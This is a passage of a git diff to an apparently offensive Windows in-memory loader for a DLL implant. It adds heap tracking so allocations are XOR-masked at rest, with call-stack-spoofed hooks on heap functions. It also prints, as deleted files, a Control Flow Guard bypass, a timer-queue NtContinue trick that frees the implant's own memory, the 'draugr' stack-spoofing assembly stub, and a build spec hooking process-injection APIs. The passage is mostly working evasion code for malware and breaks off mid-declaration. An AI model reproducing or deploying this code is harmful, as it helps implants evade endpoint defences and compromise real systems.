memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; - memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); - memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); - memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; - memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; + memory.Pico.Data = pico_data; + memory.Pico.Code = pico_code; /* call setup_hooks to overwrite funcs.GetProcAddress */ - ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs ); /* now load the dll (it's masked) */ RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); @@ -133,7 +127,7 @@ void go ( ) fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); /* call setup_memory to give PICO the memory info */ - ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory ); /* now run the DLL */ DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); @@ -143,4 +137,4 @@ void go ( ) entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL ); -} +} \ No newline at end of file diff --git a/loader/src/loader.h b/loader/src/loader.h index 5bdf12b..7cfd2c3 100644 --- a/loader/src/loader.h +++ b/loader/src/loader.h @@ -1,11 +1,6 @@ #define GETRESOURCE(x) ( char * ) &x -typedef struct { - char data [ 4096 ]; - char code [ 16384 ]; -} PICO; - typedef struct { int len; - char value[]; + char value [ ]; } RESOURCE; diff --git a/loader/src/mask.c b/loader/src/mask.c index fe6ba3f..e621286 100644 --- a/loader/src/mask.c +++ b/loader/src/mask.c @@ -7,8 +7,7 @@ char xorkey [ 128 ] = { 1 }; void apply_mask ( char * data, DWORD len ) { - for ( DWORD i = 0; i < len; i++ ) - { + for ( DWORD i = 0; i < len; i++ ) { data [ i ] ^= xorkey [ i % 128 ]; } } @@ -39,8 +38,7 @@ void xor_section ( MEMORY_SECTION * section, BOOL mask ) } } - if ( is_writeable ( section->CurrentProtect ) ) - { + if ( is_writeable ( section->CurrentProtect ) ) { apply_mask ( section->BaseAddress, section->Size ); } @@ -56,15 +54,27 @@ void xor_section ( MEMORY_SECTION * section, BOOL mask ) } } -void xor_region ( MEMORY_REGION * region, BOOL mask ) +void xor_dll ( DLL_MEMORY * region, BOOL mask ) { - for ( int i = 0; i < 20; i++ ) - { + for ( size_t i = 0; i < region->Count; i++ ) { xor_section ( ®ion->Sections [ i ], mask ); } } -void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) +void xor_heap ( HEAP_MEMORY * heap ) { - xor_region ( &memory->Dll, mask ); + for ( size_t i = 0; i < heap->Count; i++ ) + { + HEAP_RECORD * record = &heap->Records [ i ]; + + /* these are already RW */ + apply_mask ( record->Address, record->Size ); + } + } + +void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask ) +{ + xor_dll ( &memory->Dll, mask ); + xor_heap ( &memory->Heap ); +} \ No newline at end of file diff --git a/loader/src/memory.h b/loader/src/memory.h index 4bae792..dd0c569 100644 --- a/loader/src/memory.h +++ b/loader/src/memory.h @@ -1,3 +1,21 @@ +#define MAX_HEAP_RECORDS 32 +#define MAX_SECTIONS 16 + +typedef struct { + PVOID Data; + PVOID Code; +} PICO_MEMORY; + +typedef struct { + PVOID Address; + SIZE_T Size; +} HEAP_RECORD; + +typedef struct { + HEAP_RECORD Records [ MAX_HEAP_RECORDS ]; + SIZE_T Count; +} HEAP_MEMORY; + typedef struct { PVOID BaseAddress; SIZE_T Size; @@ -8,10 +26,12 @@ typedef struct { typedef struct { PVOID BaseAddress; SIZE_T Size; - MEMORY_SECTION Sections [ 20 ]; -} MEMORY_REGION; + MEMORY_SECTION Sections [ MAX_SECTIONS ]; + SIZE_T Count; +} DLL_MEMORY; typedef struct { - MEMORY_REGION Pico; - MEMORY_REGION Dll; -} MEMORY_LAYOUT; + PICO_MEMORY Pico; + DLL_MEMORY Dll; + HEAP_MEMORY Heap; +} MEMORY_LAYOUT; \ No newline at end of file diff --git a/loader/src/pico.c b/loader/src/pico.c index 932689d..2a40ed3 100644 --- a/loader/src/pico.c +++ b/loader/src/pico.c @@ -7,8 +7,11 @@ MEMORY_LAYOUT g_memory; -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T ); FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) { @@ -91,3 +94,105 @@ VOID WINAPI _ExitThread ( DWORD dwExitCode ) spoof_call ( &call ); } + +LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ) +{ + LPVOID result = NULL; + + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapAlloc ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( dwBytes ); + + result = ( LPVOID ) spoof_call ( &call ); + + /* store a record of this heap allocation */ + + if ( dwBytes >= 256 && result != NULL && g_memory.Heap.Count < MAX_HEAP_RECORDS ) + { + g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result; + g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes; + g_memory.Heap.Count++; + } + + return result; +} + +LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapReAlloc ); + call.argc = 4; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( lpMem ); + call.args [ 3 ] = spoof_arg ( dwBytes ); + + LPVOID result = ( LPVOID ) spoof_call ( &call ); + + if ( result ) + { + BOOL found = FALSE; + + for ( int i = 0; i < g_memory.Heap.Count; i++ ) + { + if ( g_memory.Heap.Records [ i ].Address == lpMem ) + { + g_memory.Heap.Records [ i ].Address = result; + g_memory.Heap.Records [ i ].Size = dwBytes; + found = TRUE; + break; + } + } + + if ( !found && dwBytes >= 256 && g_memory.Heap.Count < MAX_HEAP_RECORDS ) + { + g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result; + g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes; + g_memory.Heap.Count++; + } + } + + return result; +} + + +BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem ) +{ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$HeapFree ); + call.argc = 3; + + call.args [ 0 ] = spoof_arg ( hHeap ); + call.args [ 1 ] = spoof_arg ( dwFlags ); + call.args [ 2 ] = spoof_arg ( lpMem ); + + BOOL result = ( BOOL ) spoof_call ( &call ); + + if ( result ) + { + /* remove the right heap record */ + + for ( int i = 0; i < g_memory.Heap.Count; i++ ) + { + if ( g_memory.Heap.Records [ i ].Address == lpMem ) + { + int last = g_memory.Heap.Count - 1; + g_memory.Heap.Records [ i ] = g_memory.Heap.Records [ last ]; + g_memory.Heap.Records [ last ].Address = NULL; + g_memory.Heap.Records [ last ].Size = 0; + g_memory.Heap.Count--; + break; + } + } + } + + return result; +} \ No newline at end of file diff --git a/loader/src/services.c b/loader/src/services.c index 30b45d9..9e0bb9b 100644 --- a/loader/src/services.c +++ b/loader/src/services.c @@ -1,7 +1,9 @@ #include #include "tcg.h" -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +/* for the local loader */ +__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); /** * This function is used to locate functions in @@ -14,16 +16,11 @@ FARPROC resolve ( DWORD mod_hash, DWORD func_hash ) } /** - * This function is used to load and/or locate functions - * in modules that are not loaded by default. + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) */ -FARPROC resolve_ext ( char * mod_name, char * func_name ) +FARPROC patch_resolve ( char * mod_name, char * func_name ) { - HANDLE module = KERNEL32$GetModuleHandleA ( mod_name ); - - if ( module == NULL ) { - module = LoadLibraryA ( mod_name ); - } - - return GetProcAddress ( module, func_name ); -} + HANDLE module = get_module_handle ( mod_name ); + return get_proc_address ( module, func_name ); +} \ No newline at end of file diff --git a/local-loader/Makefile b/local-loader/Makefile deleted file mode 100644 index 47282aa..0000000 --- a/local-loader/Makefile +++ /dev/null @@ -1,22 +0,0 @@ -CC_64=x86_64-w64-mingw32-gcc -NASM=nasm - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o - - $(NASM) src/draugr.asm -o bin/draugr.x64.bin - -clean: - rm -f bin/* diff --git a/local-loader/bin/draugr.x64.bin b/local-loader/bin/draugr.x64.bin deleted file mode 100644 index f26b2ae..0000000 Binary files a/local-loader/bin/draugr.x64.bin and /dev/null differ diff --git a/local-loader/pico.spec b/local-loader/pico.spec deleted file mode 100644 index 5089a05..0000000 --- a/local-loader/pico.spec +++ /dev/null @@ -1,72 +0,0 @@ -x64: - load "bin/pico.x64.o" - make object +disco - - # merge the hook functions - load "bin/hooks.x64.o" - merge - - # merge the call stack spoofing - load "bin/spoof.x64.o" - merge - - # merge the asm stub - load "bin/draugr.x64.bin" - linkfunc "draugr_stub" - - # merge mask - load "bin/mask.x64.o" - merge - - # generate and patch in a random key - generate $KEY 128 - patch "xorkey" $KEY - - # merge cfg code - load "bin/cfg.x64.o" - merge - - # merge cleanup - load "bin/cleanup.x64.o" - merge - - # export setup_hooks and setup_memory - exportfunc "setup_hooks" "__tag_setup_hooks" - exportfunc "setup_memory" "__tag_setup_memory" - - # hook functions in the DLL - addhook "WININET$InternetOpenA" "_InternetOpenA" - addhook "WININET$InternetConnectA" "_InternetConnectA" - addhook "KERNEL32$CloseHandle" "_CloseHandle" - addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA" - addhook "KERNEL32$CreateProcessA" "_CreateProcessA" - addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread" - addhook "KERNEL32$CreateThread" "_CreateThread" - addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle" - addhook "KERNEL32$ExitThread" "_ExitThread" - addhook "KERNEL32$GetProcAddress" "_GetProcAddress" - addhook "KERNEL32$GetThreadContext" "_GetThreadContext" - addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA" - addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile" - addhook "KERNEL32$OpenProcess" "_OpenProcess" - addhook "KERNEL32$OpenThread" "_OpenThread" - addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory" - addhook "KERNEL32$ResumeThread" "_ResumeThread" - addhook "KERNEL32$SetThreadContext" "_SetThreadContext" - addhook "KERNEL32$Sleep" "_Sleep" - addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile" - addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc" - addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx" - addhook "KERNEL32$VirtualFree" "_VirtualFree" - addhook "KERNEL32$VirtualProtect" "_VirtualProtect" - addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx" - addhook "KERNEL32$VirtualQuery" "_VirtualQuery" - addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory" - addhook "OLE32$CoCreateInstance" "_CoCreateInstance" - - # hook functions in pico - attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c - - mergelib "../libtcg.x64.zip" - - export diff --git a/local-loader/services.spec b/local-loader/services.spec deleted file mode 100644 index 72fcaca..0000000 --- a/local-loader/services.spec +++ /dev/null @@ -1,7 +0,0 @@ -x64: - load "bin/services.x64.o" - merge - - mergelib "../libtcg.x64.zip" - - dfr "resolve" "strings" diff --git a/local-loader/src/cfg.c b/local-loader/src/cfg.c deleted file mode 100644 index 0deba3f..0000000 --- a/local-loader/src/cfg.c +++ /dev/null @@ -1,114 +0,0 @@ -#include -#include "cfg.h" - -#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) -#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION; - -typedef enum { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION; - -typedef enum { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY; - -typedef enum { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); - -BOOL cfg_enabled ( ) -{ - EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; - - NTSTATUS status = 0; - - proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; - proc_info.ExtendedProcessInfoBuffer = 0; - - status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); - - if ( ! NT_SUCCESS ( status ) ) { - return FALSE; - } - - return proc_info.ExtendedProcessInfoBuffer; -} - -BOOL bypass_cfg ( PVOID address ) -{ - MEMORY_BASIC_INFORMATION mbi = { 0 }; - VM_INFORMATION vmi = { 0 }; - MEMORY_RANGE_ENTRY mre = { 0 }; - CFG_CALL_TARGET_INFO cti = { 0 }; - - NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); - - if ( ! NT_SUCCESS ( status ) ) { - return FALSE; - } - - if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { - return FALSE; - } - - cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; - cti.Flags = CFG_CALL_TARGET_VALID; - - mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; - mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; - - ULONG output = 0; - - vmi.dwNumberOfOffsets = 0x1; - vmi.plOutput = &output; - vmi.ptOffsets = &cti; - vmi.pMustBeZero = 0x0; - vmi.pMoarZero = 0x0; - - status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); - - if ( status == 0xC00000F4 ) - { - /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ - status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); - } - - if ( ! NT_SUCCESS ( status ) ) - { - /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ - if ( status == 0xC0000045 ) - { - /* pretend we bypassed it so timers can continue */ - return TRUE; - } - - return FALSE; - } - - return TRUE; -} diff --git a/local-loader/src/cfg.h b/local-loader/src/cfg.h deleted file mode 100644 index 2a538cb..0000000 --- a/local-loader/src/cfg.h +++ /dev/null @@ -1,2 +0,0 @@ -BOOL cfg_enabled ( ); -BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/local-loader/src/cleanup.c b/local-loader/src/cleanup.c deleted file mode 100644 index 0790d07..0000000 --- a/local-loader/src/cleanup.c +++ /dev/null @@ -1,89 +0,0 @@ -#include -#include "memory.h" -#include "cfg.h" -#include "spoof.h" -#include "tcg.h" - -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); - -DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); - -#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); - -void cleanup_memory ( MEMORY_LAYOUT * memory ) -{ - /* is cfg enabled? */ - BOOL enabled = cfg_enabled ( ); - - if ( enabled ) { - /* try to bypass it at NtContinue */ - if ( bypass_cfg ( NTDLL$NtContinue ) ) { - enabled = FALSE; - } - } - - /* - * just return if we - * failed to bypass it - */ - - if ( enabled ) { - return; - } - - /* - * crack on and setup a timer - * to free the memory regions - */ - - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; - - HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; - - if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) - { - /* give RtlCaptureContext a chance to run */ - KERNEL32$Sleep ( 100 ); - - if ( ctx.Rip != 0 ) - { - HANDLE heap = KERNEL32$GetProcessHeap ( ); - CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); - - for ( int i = 0; i < 2; i++ ) { - memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); - } - - /* - * we use VirtualFree here because - * the loader uses VirtualAlloc - */ - - /* the dll */ - ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); - ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); - ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); - ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); - ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); - - /* this pico */ - ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); - ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); - ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); - ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); - ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); - - /* give a decent delay so ExitThread has time to be called */ - KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); - KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); - } - } -} diff --git a/local-loader/src/cleanup.h b/local-loader/src/cleanup.h deleted file mode 100644 index 65c0861..0000000 --- a/local-loader/src/cleanup.h +++ /dev/null @@ -1 +0,0 @@ -void cleanup_memory ( MEMORY_LAYOUT * memory ); diff --git a/local-loader/src/draugr.asm b/local-loader/src/draugr.asm deleted file mode 100644 index a736300..0000000 --- a/local-loader/src/draugr.asm +++ /dev/null @@ -1,147 +0,0 @@ -[BITS 64] - - draugr_stub: - pop rax ; Real return address in rax - - mov r10, rdi ; Store OG rdi in r10 - mov r11, rsi ; Store OG rsi in r11 - - mov rdi, [ rsp + 32 ] ; Storing struct in rdi - mov rsi, [ rsp + 40 ] ; Storing function to call - - ; --------------------------------------------------------------------- - ; Storing our original registers - ; --------------------------------------------------------------------- - - mov [ rdi + 24 ], r10 ; Storing OG rdi into param - mov [ rdi + 88 ], r11 ; Storing OG rsi into param - mov [ rdi + 96 ], r12 ; Storing OG r12 into param - mov [ rdi + 104 ], r13 ; Storing OG r13 into param - mov [ rdi + 112 ], r14 ; Storing OG r14 into param - mov [ rdi + 120 ], r15 ; Storing OG r15 into param - - mov r12, rax ; OG code used r12 for ret addr - - ; --------------------------------------------------------------------- - ; Prepping to move stack args - ; --------------------------------------------------------------------- - - xor r11, r11 ; r11 will hold the # of args that have been "pushed" - mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed - - mov r14, 0x200 ; r14 will hold the offset we need to push stuff - add r14, 8 - add r14, [ rdi + 56 ] ; stack size of RUTS - add r14, [ rdi + 48 ] ; stack size of BTIT - add r14, [ rdi + 32 ] ; stack size of our gadget frame - sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time - - mov r10, rsp - add r10, 0x30 ; offset of stack arg added to rsp - - looping: - xor r15, r15 ; r15 will hold the offset + rsp base - cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add - je finish - - ; --------------------------------------------------------------------- - ; Getting location to move the stack arg to - ; --------------------------------------------------------------------- - - sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset. - mov r15, rsp ; get current stack base - sub r15, r14 ; subtract offset - - ; --------------------------------------------------------------------- - ; Procuring the stack arg - ; --------------------------------------------------------------------- - - add r10, 8 - - push qword [ r10 ] - pop qword [ r15 ] - - ; --------------------------------------------------------------------- - ; Increment the counter and loop back in case we need more args - ; --------------------------------------------------------------------- - add r11, 1 - jmp looping - - finish: - - ; ---------------------------------------------------------------------- - ; Creating a big 320 byte working space - ; ---------------------------------------------------------------------- - - sub rsp, 0x200 - - ; ---------------------------------------------------------------------- - ; Pushing a 0 to cut off the return addresses after RtlUserThreadStart. - ; Need to figure out why this cuts off the call stack - ; ---------------------------------------------------------------------- - - push 0 - - ; ---------------------------------------------------------------------- - ; RtlUserThreadStart + 0x14 frame - ; ---------------------------------------------------------------------- - - sub rsp, [ rdi + 56 ] - mov r11, [ rdi + 64 ] - mov [ rsp ], r11 - - ; ---------------------------------------------------------------------- - ; BaseThreadInitThunk + 0x21 frame - ; ---------------------------------------------------------------------- - - sub rsp, [ rdi + 32 ] - mov r11, [ rdi + 40 ] - mov [ rsp ], r11 - - ; ---------------------------------------------------------------------- - ; Gadget frame - ; ---------------------------------------------------------------------- - - sub rsp, [ rdi + 48 ] - mov r11, [ rdi + 80 ] - mov [ rsp ], r11 - - ; ---------------------------------------------------------------------- - ; Adjusting the param struct for the fixup - ; ---------------------------------------------------------------------- - - mov r11, rsi ; Copying function to call into r11 - - mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member - mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member - lea rbx, [ rel fixup ] ; Fixup address is moved into rbx - mov [ rdi ], rbx ; Fixup member now holds the address of Fixup - mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx - - ; ---------------------------------------------------------------------- - ; Syscall stuff. Shouldn't affect performance even if a syscall isnt made - ; ---------------------------------------------------------------------- - mov r10, rcx - mov rax, [ rdi + 72 ] - - jmp r11 - - fixup: - mov rcx, rbx - add rsp, 0x200 ; Big frame thing - add rsp, [ rbx + 48 ] ; Stack size - add rsp, [ rbx + 32 ] ; Stack size - add rsp, [ rbx + 56 ] ; Stack size - - mov rbx, [ rcx + 16 ] ; Restoring OG RBX - mov rdi, [ rcx + 24 ] ; ReStoring OG rdi - mov rsi, [ rcx + 88 ] ; ReStoring OG rsi - mov r12, [ rcx + 96 ] ; ReStoring OG r12 - mov r13, [ rcx + 104 ] ; ReStoring OG r13 - mov r14, [ rcx + 112 ] ; ReStoring OG r14 - mov r15, [ rcx + 120 ] ; ReStoring OG r15 - push rax - - xor rax, rax - pop rax - jmp QWORD [ rcx + 8 ] diff --git a/local-loader/src/hooks.c b/local-loader/src/hooks.c deleted file mode 100644 index 4abb249..0000000 --- a/local-loader/src/hooks.c +++ /dev/null @@ -1,420 +0,0 @@ -#include -#include -#include -#include "tcg.h" -#include "memory.h" -#include "spoof.h" - -DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR ); -DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD ); - -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT ); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD ); -DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * ); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * ); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID ); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD ); -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, 